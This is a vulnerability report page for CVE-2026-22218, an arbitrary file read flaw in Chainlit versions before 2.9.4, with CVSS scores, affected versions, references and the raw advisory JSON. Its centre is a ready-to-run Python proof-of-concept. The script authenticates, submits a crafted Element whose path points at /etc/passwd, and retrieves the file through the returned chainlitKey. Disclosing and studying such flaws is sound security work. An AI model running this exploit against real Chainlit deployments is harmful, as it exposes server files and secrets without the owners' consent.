Security Vulnerability Report
中文
CVE-2026-22218 CVSS 6.5 MEDIUM

CVE-2026-22218

Published: 2026-01-20 00:15:49
Last Modified: 2026-02-02 20:56:44

Description

Chainlit versions prior to 2.9.4 contain an arbitrary file read vulnerability in the /project/element update flow. An authenticated client can send a custom Element with a user-controlled path value, causing the server to copy the referenced file into the attacker’s session. The resulting element identifier (chainlitKey) can then be used to retrieve the file contents via /project/file/<chainlitKey>, allowing disclosure of any file readable by the Chainlit service.

CVSS Details

CVSS Score
6.5
Severity
MEDIUM
CVSS Vector
CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:H/I:N/A:N

Configurations (Affected Products)

cpe:2.3:a:chainlit:chainlit:*:*:*:*:*:*:*:* - VULNERABLE
Chainlit < 2.9.4

PoC / Exploit Code

⚠ For Security Research Only
The following code is for security research and authorized testing only.
python
import requests import json # CVE-2026-22218 PoC - Chainlit Arbitrary File Read # Target: Chainlit application < v2.9.4 TARGET_URL = "http://target.com" # Replace with target URL USERNAME = "attacker" PASSWORD = "password" TARGET_FILE = "/etc/passwd" def exploit_cve_2026_22218(): """ Exploit for CVE-2026-22218: Chainlit arbitrary file read via /project/element Steps: 1. Authenticate to Chainlit application 2. Create malicious Element with user-controlled path 3. Retrieve file via /project/file/{chainlitKey} """ session = requests.Session() # Step 1: Login to get authentication login_url = f"{TARGET_URL}/api/login" login_data = {"username": USERNAME, "password": PASSWORD} response = session.post(login_url, json=login_data) if response.status_code != 200: print(f"[-] Authentication failed: {response.status_code}") return None print("[+] Authentication successful") # Step 2: Create malicious Element with arbitrary file path element_url = f"{TARGET_URL}/api/project/element" malicious_element = { "type": "file", "path": TARGET_FILE, # Arbitrary file path "name": "malicious_file", "mime": "text/plain" } response = session.post(element_url, json=malicious_element) if response.status_code != 200: print(f"[-] Element creation failed: {response.status_code}") return None result = response.json() chainlit_key = result.get("element", {}).get("chainlitKey") if not chainlit_key: print("[-] Failed to obtain chainlitKey") return None print(f"[+] Created malicious element with chainlitKey: {chainlit_key}") # Step 3: Retrieve file contents file_url = f"{TARGET_URL}/api/project/file/{chainlit_key}" response = session.get(file_url) if response.status_code == 200: print("[+] File read successful!") print("=" * 50) print(response.text) print("=" * 50) return response.text else: print(f"[-] File retrieval failed: {response.status_code}") return None if __name__ == "__main__": exploit_cve_2026_22218()

References

Raw JSON Data

JSON
{"cve": {"id": "CVE-2026-22218", "sourceIdentifier": "[email protected]", "published": "2026-01-20T00:15:48.910", "lastModified": "2026-02-02T20:56:44.393", "vulnStatus": "Analyzed", "cveTags": [], "descriptions": [{"lang": "en", "value": "Chainlit versions prior to 2.9.4 contain an arbitrary file read vulnerability in the /project/element update flow. An authenticated client can send a custom Element with a user-controlled path value, causing the server to copy the referenced file into the attacker’s session. The resulting element identifier (chainlitKey) can then be used to retrieve the file contents via /project/file/<chainlitKey>, allowing disclosure of any file readable by the Chainlit service."}, {"lang": "es", "value": "Las versiones de Chainlit anteriores a la 2.9.4 contienen una vulnerabilidad de lectura arbitraria de archivos en el flujo de actualización de /project/element. Un cliente autenticado puede enviar un Element personalizado con un valor de ruta controlado por el usuario, haciendo que el servidor copie el archivo referenciado en la sesión del atacante. El identificador de elemento resultante (chainlitKey) puede usarse entonces para recuperar el contenido del archivo a través de /project/file/, permitiendo la divulgación de cualquier archivo legible por el servicio Chainlit."}], "metrics": {"cvssMetricV40": [{"source": "[email protected]", "type": "Secondary", "cvssData": {"version": "4.0", "vectorString": "CVSS:4.0/AV:N/AC:L/AT:N/PR:L/UI:N/VC:H/VI:N/VA:N/SC:N/SI:N/SA:N/E:X/CR:X/IR:X/AR:X/MAV:X/MAC:X/MAT:X/MPR:X/MUI:X/MVC:X/MVI:X/MVA:X/MSC:X/MSI:X/MSA:X/S:X/AU:X/R:X/V:X/RE:X/U:X", "baseScore": 7.1, "baseSeverity": "HIGH", "attackVector": "NETWORK", "attackComplexity": "LOW", "attackRequirements": "NONE", "privilegesRequired": "LOW", "userInteraction": "NONE", "vulnConfidentialityImpact": "HIGH", "vulnIntegrityImpact": "NONE", "vulnAvailabilityImpact": "NONE", "subConfidentialityImpact": "NONE", "subIntegrityImpact": "NONE", "subAvailabilityImpact": "NONE", "exploitMaturity": "NOT_DEFINED", "confidentialityRequirement": "NOT_DEFINED", "integrityRequirement": "NOT_DEFINED", "availabilityRequirement": "NOT_DEFINED", "modifiedAttackVector": "NOT_DEFINED", "modifiedAttackComplexity": "NOT_DEFINED", "modifiedAttackRequirements": "NOT_DEFINED", "modifiedPrivilegesRequired": "NOT_DEFINED", "modifiedUserInteraction": "NOT_DEFINED", "modifiedVulnConfidentialityImpact": "NOT_DEFINED", "modifiedVulnIntegrityImpact": "NOT_DEFINED", "modifiedVulnAvailabilityImpact": "NOT_DEFINED", "modifiedSubConfidentialityImpact": "NOT_DEFINED", "modifiedSubIntegrityImpact": "NOT_DEFINED", "modifiedSubAvailabilityImpact": "NOT_DEFINED", "Safety": "NOT_DEFINED", "Automatable": "NOT_DEFINED", "Recovery": "NOT_DEFINED", "valueDensity": "NOT_DEFINED", "vulnerabilityResponseEffort": "NOT_DEFINED", "providerUrgency": "NOT_DEFINED"}}], "cvssMetricV31": [{"source": "[email protected]", "type": "Primary", "cvssData": {"version": "3.1", "vectorString": "CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:H/I:N/A:N", "baseScore": 6.5, "baseSeverity": "MEDIUM", "attackVector": "NETWORK", "attackComplexity": "LOW", "privilegesRequired": "LOW", "userInteraction": "NONE", "scope": "UNCHANGED", "confidentialityImpact": "HIGH", "integrityImpact": "NONE", "availabilityImpact": "NONE"}, "exploitabilityScore": 2.8, "impactScore": 3.6}]}, "weaknesses": [{"source": "[email protected]", "type": "Secondary", "description": [{"lang": "en", "value": "CWE-22"}]}], "configurations": [{"nodes": [{"operator": "OR", "negate": false, "cpeMatch": [{"vulnerable": true, "criteria": "cpe:2.3:a:chainlit:chainlit:*:*:*:*:*:*:*:*", "versionEndExcluding": "2.9.4", "matchCriteriaId": "829EC540-D789-4A01-A062-B4EA52818A54"}]}]}], "references": [{"url": "https://github.com/Chainlit/chainlit/releases/tag/2.9.4", "source": "[email protected]", "tags": ["Product", "Release Notes"]}, {"url": "https://www.vulncheck.com/advisories/chainlit-arbitrary-file-read-via-project-element", "source": "[email protected]", "tags": ["Third Party Advisory"]}, {"url": "https://www.zafran.io/resources/chainleak-critical-ai-framework-vulnerabilities-expose-data-enable-cloud-takeover", "source": "[email protected]", "tags": ["Exploit", "Mitigation", "Third Party Advisory"]}]}}